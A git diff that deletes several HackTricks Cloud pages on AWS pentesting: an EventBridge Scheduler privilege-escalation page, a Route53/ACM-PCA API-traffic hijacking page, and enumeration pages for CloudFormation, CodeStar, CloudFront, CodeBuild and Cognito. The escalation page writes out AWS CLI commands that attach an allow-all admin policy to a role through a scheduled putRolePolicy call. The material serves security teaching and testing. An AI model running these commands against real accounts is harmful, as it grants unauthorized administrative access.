-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
deleted file mode 100644
index 9173fadf5..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
+++ /dev/null
@@ -1,75 +0,0 @@
-# AWS - EventBridge Scheduler Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## EventBridge Scheduler
-
-More info EventBridge Scheduler in:
-
-{% content-ref url="../aws-services/eventbridgescheduler-enum.md" %}
-[eventbridgescheduler-enum.md](../aws-services/eventbridgescheduler-enum.md)
-{% endcontent-ref %}
-
-### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`)
-
-An attacker with those permissions will be able to **`create`|`update` an scheduler and abuse the permissions of the scheduler role** attached to it to perform any action
-
-For example, they could configure the schedule to **invoke a Lambda function** which is a templated action:
-
-```bash
-aws scheduler create-schedule \
- --name MyLambdaSchedule \
- --schedule-expression "rate(5 minutes)" \
- --flexible-time-window "Mode=OFF" \
- --target '{
- "Arn": "arn:aws:lambda:::function:",
- "RoleArn": "arn:aws:iam:::role/"
- }'
-```
-
-In addition to templated service actions, you can use **universal targets** in EventBridge Scheduler to invoke a wide range of API operations for many AWS services. Universal targets offer flexibility to invoke almost any API. One example can be using universal targets adding "**AdminAccessPolicy**", using a role that has "**putRolePolicy**" policy:
-
-```bash
-aws scheduler create-schedule \
- --name GrantAdminToTargetRoleSchedule \
- --schedule-expression "rate(5 minutes)" \
- --flexible-time-window "Mode=OFF" \
- --target '{
- "Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy",
- "RoleArn": "arn:aws:iam:::role/RoleWithPutPolicy",
- "Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}"
- }'
-```
-
-## References
-
-* [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html)
-* [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
deleted file mode 100644
index 4a13f8e5c..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
+++ /dev/null
@@ -1,59 +0,0 @@
-# AWS - Route53 Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-For more information about Route53 check:
-
-{% content-ref url="../aws-services/aws-route53-enum.md" %}
-[aws-route53-enum.md](../aws-services/aws-route53-enum.md)
-{% endcontent-ref %}
-
-### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate`
-
-{% hint style="info" %}
-To perform this attack the target account must already have an [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** setup in the account, and EC2 instances in the VPC(s) must have already imported the certificates to trust it. With this infrastructure in place, the following attack can be performed to intercept AWS API traffic.
-{% endhint %}
-
-Other permissions **recommend but not required for the enumeration** part: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs`
-
-Assuming there is an AWS VPC with multiple cloud-native applications talking to each other and to AWS API. Since the communication between the microservices is often TLS encrypted there must be a private CA to issue the valid certificates for those services. **If ACM-PCA is used** for that and the adversary manages to get **access to control both route53 and acm-pca private CA** with the minimum set of permissions described above, it can **hijack the application calls to AWS API** taking over their IAM permissions.
-
-This is possible because:
-
-* AWS SDKs do not have [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning)
-* Route53 allows creating Private Hosted Zone and DNS records for AWS APIs domain names
-* Private CA in ACM-PCA cannot be restricted to signing only certificates for specific Common Names
-
-**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic.
-
-#### Exploitation
-
-Find the exploitation steps in the original research: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/README.md b/pentesting-cloud/aws-security/aws-services/README.md
deleted file mode 100644
index 67243cb53..000000000
--- a/pentesting-cloud/aws-security/aws-services/README.md
+++ /dev/null
@@ -1,57 +0,0 @@
-# AWS - Services
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## Types of services
-
-### Container services
-
-Services that fall under container services have the following characteristics:
-
-* The service itself runs on **separate infrastructure instances**, such as EC2.
-* **AWS** is responsible for **managing the operating system and the platform**.
-* A managed service is provided by AWS, which is typically the service itself for the **actual application which are seen as containers**.
-* As a user of these container services, you have a number of management and security responsibilities, including **managing network access security, such as network access control list rules and any firewalls**.
-* Also, platform-level identity and access management where it exists.
-* **Examples** of AWS container services include Relational Database Service, Elastic Mapreduce, and Elastic Beanstalk.
-
-### Abstract Services
-
-* These services are **removed, abstracted, from the platform or management layer which cloud applications are built on**.
-* The services are accessed via endpoints using AWS application programming interfaces, APIs.
-* The **underlying infrastructure, operating system, and platform is managed by AWS**.
-* The abstracted services provide a multi-tenancy platform on which the underlying infrastructure is shared.
-* **Data is isolated via security mechanisms**.
-* Abstract services have a strong integration with IAM, and **examples** of abstract services include S3, DynamoDB, Amazon Glacier, and SQS.
-
-## Services Enumeration
-
-**The pages of this section are ordered by AWS service. In there you will be able to find information about the service (how it works and capabilities) and that will allow you to escalate privileges.**
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md
deleted file mode 100644
index a4e9343ab..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md
+++ /dev/null
@@ -1,101 +0,0 @@
-# AWS - CloudFormation & Codestar Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## CloudFormation
-
-AWS CloudFormation is a service designed to **streamline the management of AWS resources**. It enables users to focus more on their applications running in AWS by **minimizing the time spent on resource management**. The core feature of this service is the **template**—a descriptive model of the desired AWS resources. Once this template is provided, CloudFormation is responsible for the **provisioning and configuration** of the specified resources. This automation facilitates a more efficient and error-free management of AWS infrastructure.
-
-### Enumeration
-
-```bash
-# Stacks
-aws cloudformation list-stacks
-aws cloudformation describe-stacks # You could find sensitive information here
-aws cloudformation list-stack-resources --stack-name
-aws cloudformation get-template --stack-name cloudformationStack
-aws cloudformation describe-stack-events --stack-name cloudformationStack
-
-## Show params and outputs
-aws cloudformation describe-stacks | jq ".Stacks[] | .StackId, .StackName, .Parameters, .Outputs"
-
-# Export
-aws cloudformation list-exports
-aws cloudformation list-imports --export-name
-
-# Stack Sets
-aws cloudformation list-stack-sets
-aws cloudformation describe-stack-set --stack-set-name
-aws cloudformation list-stack-instances --stack-set-name
-aws cloudformation list-stack-set-operations --stack-set-name
-aws cloudformation list-stack-set-operation-results --stack-set-name --operation-id
-```
-
-### Privesc
-
-In the following page you can check how to **abuse cloudformation permissions to escalate privileges**:
-
-{% content-ref url="../aws-privilege-escalation/aws-cloudformation-privesc/" %}
-[aws-cloudformation-privesc](../aws-privilege-escalation/aws-cloudformation-privesc/)
-{% endcontent-ref %}
-
-### Post-Exploitation
-
-Check for **secrets** or sensitive information in the **template, parameters & output** of each CloudFormation
-
-## Codestar
-
-AWS CodeStar is a service for creating, managing, and working with software development projects on AWS. You can quickly develop, build, and deploy applications on AWS with an AWS CodeStar project. An AWS CodeStar project creates and **integrates AWS services** for your project development toolchain. Depending on your choice of AWS CodeStar project template, that toolchain might include source control, build, deployment, virtual servers or serverless resources, and more. AWS CodeStar also **manages the permissions required for project users** (called team members).
-
-### Enumeration
-
-```bash
-# Get projects information
-aws codestar list-projects
-aws codestar describe-project --id
-aws codestar list-resources --project-id
-aws codestar list-team-members --project-id
-
- aws codestar list-user-profiles
- aws codestar describe-user-profile --user-arn
-```
-
-### Privesc
-
-In the following page you can check how to **abuse codestar permissions to escalate privileges**:
-
-{% content-ref url="../aws-privilege-escalation/aws-codestar-privesc/" %}
-[aws-codestar-privesc](../aws-privilege-escalation/aws-codestar-privesc/)
-{% endcontent-ref %}
-
-## References
-
-* [https://docs.aws.amazon.com/cloudformation/](https://docs.aws.amazon.com/cloudformation/)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md b/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md
deleted file mode 100644
index d80ef3c21..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md
+++ /dev/null
@@ -1,70 +0,0 @@
-# AWS - CloudFront Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## CloudFront
-
-CloudFront is AWS's **content delivery network that speeds up distribution** of your static and dynamic content through its worldwide network of edge locations. When you use a request content that you're hosting through Amazon CloudFront, the request is routed to the closest edge location which provides it the lowest latency to deliver the best performance. When **CloudFront access logs** are enabled you can record the request from each user requesting access to your website and distribution. As with S3 access logs, these logs are also **stored on Amazon S3 for durable and persistent storage**. There are no charges for enabling logging itself, however, as the logs are stored in S3 you will be stored for the storage used by S3.
-
-The log files capture data over a period of time and depending on the amount of requests that are received by Amazon CloudFront for that distribution will depend on the amount of log fils that are generated. It's important to know that these log files are not created or written to on S3. S3 is simply where they are delivered to once the log file is full. **Amazon CloudFront retains these logs until they are ready to be delivered to S3**. Again, depending on the size of these log files this delivery can take **between one and 24 hours**.
-
-**By default cookie logging is disabled** but you can enable it.
-
-### Functions
-
-You can create functions in CloudFront. These functions will have its **endpoint in cloudfront** defined and will run a declared **NodeJS code**. This code will run inside a **sandbox** in a machine running under an AWS managed machine (you would need a sandbox bypass to manage to escape to the underlaying OS).
-
-As the functions aren't run in the users AWS account. no IAM role is attached so no direct privesc is possible abusing this feature.
-
-### Enumeration
-
-```bash
-aws cloudfront list-distributions
-aws cloudfront get-distribution --id # Just get 1
-aws cloudfront get-distribution-config --id
-
-aws cloudfront list-functions
-aws cloudfront get-function --name TestFunction function_code.js
-
-aws cloudfront list-distributions | jq ".DistributionList.Items[] | .Id, .Origins.Items[].Id, .Origins.Items[].DomainName, .AliasICPRecordals[].CNAME"
-```
-
-## Unauthenticated Access
-
-{% content-ref url="../aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md" %}
-[aws-cloudfront-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md)
-{% endcontent-ref %}
-
-## Post Exploitation
-
-{% content-ref url="../aws-post-exploitation/aws-cloudfront-post-exploitation.md" %}
-[aws-cloudfront-post-exploitation.md](../aws-post-exploitation/aws-cloudfront-post-exploitation.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md b/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md
deleted file mode 100644
index 7798cea35..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md
+++ /dev/null
@@ -1,102 +0,0 @@
-# AWS - Codebuild Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## CodeBuild
-
-AWS **CodeBuild** is recognized as a **fully managed continuous integration service**. The primary purpose of this service is to automate the sequence of compiling source code, executing tests, and packaging the software for deployment purposes. The predominant benefit offered by CodeBuild lies in its ability to alleviate the need for users to provision, manage, and scale their build servers. This convenience is because the service itself manages these tasks. Essential features of AWS CodeBuild encompass:
-
-1. **Managed Service**: CodeBuild manages and scales the build servers, freeing users from server maintenance.
-2. **Continuous Integration**: It integrates with the development and deployment workflow, automating the build and test phases of the software release process.
-3. **Package Production**: After the build and test phases, it prepares the software packages, making them ready for deployment.
-
-AWS CodeBuild seamlessly integrates with other AWS services, enhancing the CI/CD (Continuous Integration/Continuous Deployment) pipeline's efficiency and reliability.
-
-### **Github/Gitlab/Bitbucket Credentials**
-
-#### **Default source credentials**
-
-This is the legacy option where it's possible to configure some **access** (like a Github token or app) that will be **shared across codebuild projects** so all the projects can use this configured set of credentials.
-
-The stored credentials (tokens, passwords...) are **managed by codebuild** and there isn't any public way to retrieve them from AWS APIs.
-
-#### Custom source credential
-
-Depending on the repository platform (Github, Gitlab and Bitbucket) different options are provided. But in general, any option that requires to **store a token or a password will store it as a secret in the secrets manager**.
-
-This allows **different codebuild projects to use different configured accesses** to the providers instead of just using the configured default one.
-
-### Enumeration
-
-```bash
-# List external repo creds (such as github tokens)
-## It doesn't return the token but just the ARN where it's located
-aws codebuild list-source-credentials
-
-# Projects
-aws codebuild list-shared-projects
-aws codebuild list-projects
-aws codebuild batch-get-projects --names # Check for creds in env vars
-
-# Builds
-aws codebuild list-builds
-aws codebuild list-builds-for-project --project-name
-aws codebuild list-build-batches
-aws codebuild list-build-batches-for-project --project-name
-
-# Reports
-aws codebuild list-reports
-aws codebuild describe-test-cases --report-arn
-```
-
-### Privesc
-
-In the following page, you can check how to **abuse codebuild permissions to escalate privileges**:
-
-{% content-ref url="../aws-privilege-escalation/aws-codebuild-privesc.md" %}
-[aws-codebuild-privesc.md](../aws-privilege-escalation/aws-codebuild-privesc.md)
-{% endcontent-ref %}
-
-### Post Exploitation
-
-{% content-ref url="../aws-post-exploitation/aws-codebuild-post-exploitation/" %}
-[aws-codebuild-post-exploitation](../aws-post-exploitation/aws-codebuild-post-exploitation/)
-{% endcontent-ref %}
-
-### Unauthenticated Access
-
-{% content-ref url="../aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md" %}
-[aws-codebuild-unauthenticated-access.md](../aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md)
-{% endcontent-ref %}
-
-## References
-
-* [https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html](https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md b/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md
deleted file mode 100644
index 1701910c0..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md
+++ /dev/null
@@ -1,130 +0,0 @@
-# AWS - Cognito Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## Cognito
-
-Amazon Cognito is utilized for **authentication, authorization, and user management** in web and mobile applications. It allows users the flexibility to sign in either directly using a **user name and password** or indirectly through a **third party**, including Facebook, Amazon, Google, or Apple.
-
-Central to Amazon Cognito are two primary components:
-
-1. **User Pools**: These are directories designed for your app users, offering **sign-up and sign-in functionalities**.
-2. **Identity Pools**: These pools are instrumental in **authorizing users to access different AWS services**. They are not directly involved in the sign-in or sign-up process but are crucial for resource access post-authentication.
-
-### **User pools**
-
-To learn what is a **Cognito User Pool check**:
-
-{% content-ref url="cognito-user-pools.md" %}
-[cognito-user-pools.md](cognito-user-pools.md)
-{% endcontent-ref %}
-
-### **Identity pools**
-
-The learn what is a **Cognito Identity Pool check**:
-
-{% content-ref url="cognito-identity-pools.md" %}
-[cognito-identity-pools.md](cognito-identity-pools.md)
-{% endcontent-ref %}
-
-## Enumeration
-
-{% code overflow="wrap" %}
-```bash
-# List Identity Pools
-aws cognito-identity list-identity-pools --max-results 60
-aws cognito-identity describe-identity-pool --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
-aws cognito-identity list-identities --identity-pool-id --max-results 60
-aws cognito-identity get-identity-pool-roles --identity-pool-id
-
-# Identities Datasets
-## Get dataset of identity id (inside identity pool)
-aws cognito-sync list-datasets --identity-pool-id --identity-id
-## Get info of the dataset
-aws cognito-sync describe-dataset --identity-pool-id --identity-id --dataset-name
-## Get dataset records
-aws cognito-sync list-records --identity-pool-id --identity-id --dataset-name
-
-# User Pools
-## Get pools
-aws cognito-idp list-user-pools --max-results 60
-
-## Get users
-aws cognito-idp list-users --user-pool-id
-
-## Get groups
-aws cognito-idp list-groups --user-pool-id
-
-## Get users in a group
-aws cognito-idp list-users-in-group --user-pool-id --group-name
-
-## List App IDs of a user pool
-aws cognito-idp list-user-pool-clients --user-pool-id
-
-## List configured identity providers for a user pool
-aws cognito-idp list-identity-providers --user-pool-id
-
-## List user import jobs
-aws cognito-idp list-user-import-jobs --user-pool-id --max-results 60
-
-## Get MFA config of a user pool
-aws cognito-idp get-user-pool-mfa-config --user-pool-id
-
-## Get risk configuration
-aws cognito-idp describe-risk-configuration --user-pool-id
-```
-{% endcode %}
-
-### Identity Pools - Unauthenticated Enumeration
-
-Just **knowing the Identity Pool ID** you might be able **get credentials of the role associated to unauthenticated** users (if any). [**Check how here**](cognito-identity-pools.md#accessing-iam-roles).
-
-### User Pools - Unauthenticated Enumeration
-
-Even if you **don't know a valid username** inside Cognito, you might be able to **enumerate** valid **usernames**, **BF** the **passwords** of even **register a new user** just **knowing the App client ID** (which is usually found in source code). [**Check how here**](cognito-user-pools.md#registration)**.**
-
-## Privesc
-
-{% content-ref url="../../aws-privilege-escalation/aws-cognito-privesc.md" %}
-[aws-cognito-privesc.md](../../aws-privilege-escalation/aws-cognito-privesc.md)
-{% endcontent-ref %}
-
-## Unauthenticated Access
-
-{% content-ref url="../../aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md" %}
-[aws-cognito-unauthenticated-enum.md](../../aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md)
-{% endcontent-ref %}
-
-## Persistence
-
-{% content-ref url="../../aws-persistence/aws-cognito-persistence.md" %}
-[aws-cognito-persistence.md](../../aws-persistence/aws-cognito-persistence.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
